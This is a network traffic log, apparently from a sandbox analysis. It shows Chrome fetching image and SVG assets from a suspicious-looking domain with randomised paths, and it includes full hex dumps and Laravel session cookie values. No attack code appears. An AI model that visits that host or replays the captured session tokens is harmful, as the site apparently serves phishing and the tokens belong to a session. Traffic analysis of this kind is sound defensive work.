2024-08-23 14:21:56 UTC	1519	OUT	GET /wx9uKr77gZUwOw0J3Z7hyOplopIHnVHZGF7vPJq34130 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:57 UTC	640	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="wx9uKr77gZUwOw0J3Z7hyOplopIHnVHZGF7vPJq34130" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4phNf%2BPKbGB3eP0JoKGnCXWjKQC6a9QmyMLoGSaVKo6b4i1C53AH1vtA6jUUysKr4vwX212dnIMd%2FqYpjW9h93ddjmt1DU1RYyheMKWkcY7%2BJ%2B%2FUAGNoqgiPgHMdLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc07c7aee0f97-EWR
2024-08-23 14:21:57 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.16	49802	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:56 UTC	1529	OUT	GET /opQcARUgS4Ali3TwsyZ6W0TNTwSBamnbjs1v05DL5rgoqWAuL45140 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:57 UTC	642	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="opQcARUgS4Ali3TwsyZ6W0TNTwSBamnbjs1v05DL5rgoqWAuL45140" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R7jEpc1a24sL7lQE3VEgsIpl0DPKkVFeir2Ij6js04ig1UvE19TGaP0deYLFAWZixZPiP4E2OcfNaLZr7UH2PjkXuY0kAit%2BDGMKdwY1GR63UmA0ENtYTYAWBh9Daw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc07c9f5f19eb-EWR
2024-08-23 14:21:57 UTC	727	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.16	49805	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:56 UTC	1121	OUT	GET /nz2XauxEJD6GOWIsNGbmhsISqkHYGospXOJ06xJDflJxNYAMTIpSqdz HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:57 UTC	577	IN	HTTP/1.1 404 Not Found Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BIaDbFV4pJkCrlUB31Pnmw%2BPlQ2sSbrW0U%2BeWBYRZW4QXcSDCvR55R5VljG9ZoXi2alDIsuUkBBnXhyxK45mpbw3j65jaHKzbus11oPw5HpKQV1P5hBlPvsnwpwOMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc07d38169e16-EWR
2024-08-23 14:21:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.16	49804	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:56 UTC	1533	OUT	GET /eftGLBWu8OUJRb0dwkGNkbppjbuklsvH9IfHP7yQ0ZroZwJMFEez378146 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:57 UTC	657	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="eftGLBWu8OUJRb0dwkGNkbppjbuklsvH9IfHP7yQ0ZroZwJMFEez378146" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oSR2RFKlMF3RpUOR18FOPG09d6adcYUXGMGLVTJPb01i02UcYzAL4OVoqqpYp3EsfQy9ZcwEOInjk369WlNCOor02pReOMy3Ryem5pmR0y0gvEdW73W2xPprcYn%2F4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc07cfb9218a1-EWR
2024-08-23 14:21:57 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-08-23 14:21:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.16	49807	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:56 UTC	1117	OUT	GET /klOfYNJikxU2rmLmoZX2LlJ6klg8apYwJXpKXmHeWRPdOswx220 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:57 UTC	652	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="klOfYNJikxU2rmLmoZX2LlJ6klg8apYwJXpKXmHeWRPdOswx220" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MAg5FAjV6MNYvnWrRv1HZ%2B8apwrX1bkxa3RwmUEFoBB1crRG3iOMRFsqsXpUYR6hEX3dQ%2FNWUE1tErxONfmzSZuH033BJ08hy717f7B2mIU041RfOThPfzVG36xKrA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc07d3d224299-EWR
2024-08-23 14:21:57 UTC	717	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-08-23 14:21:57 UTC	1154	IN	Data Raw: 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 63 34 63 34 63 34 22 20 73 74 6f 70 Data Ascii: 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop
2024-08-23 14:21:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.16	49808	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:56 UTC	1530	OUT	GET /ijTLp2CToreFE8klRPbyfp7yzX8kad8OQ49Wh538NV5jvMGQmA56170 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:57 UTC	656	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijTLp2CToreFE8klRPbyfp7yzX8kad8OQ49Wh538NV5jvMGQmA56170" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zm8BxoSUmMDDEQT52S9MmNRtJuCFgpoh2xiavC7JEj7sEJ0%2FrDycGRbAEMRzmkF3BMPXEvy9ZuGPcOiyChw8cHOJx%2FWT9XO53E402V46NG4gDK45EvshVCphKvQLqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc07d1bcf42de-EWR
2024-08-23 14:21:57 UTC	713	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
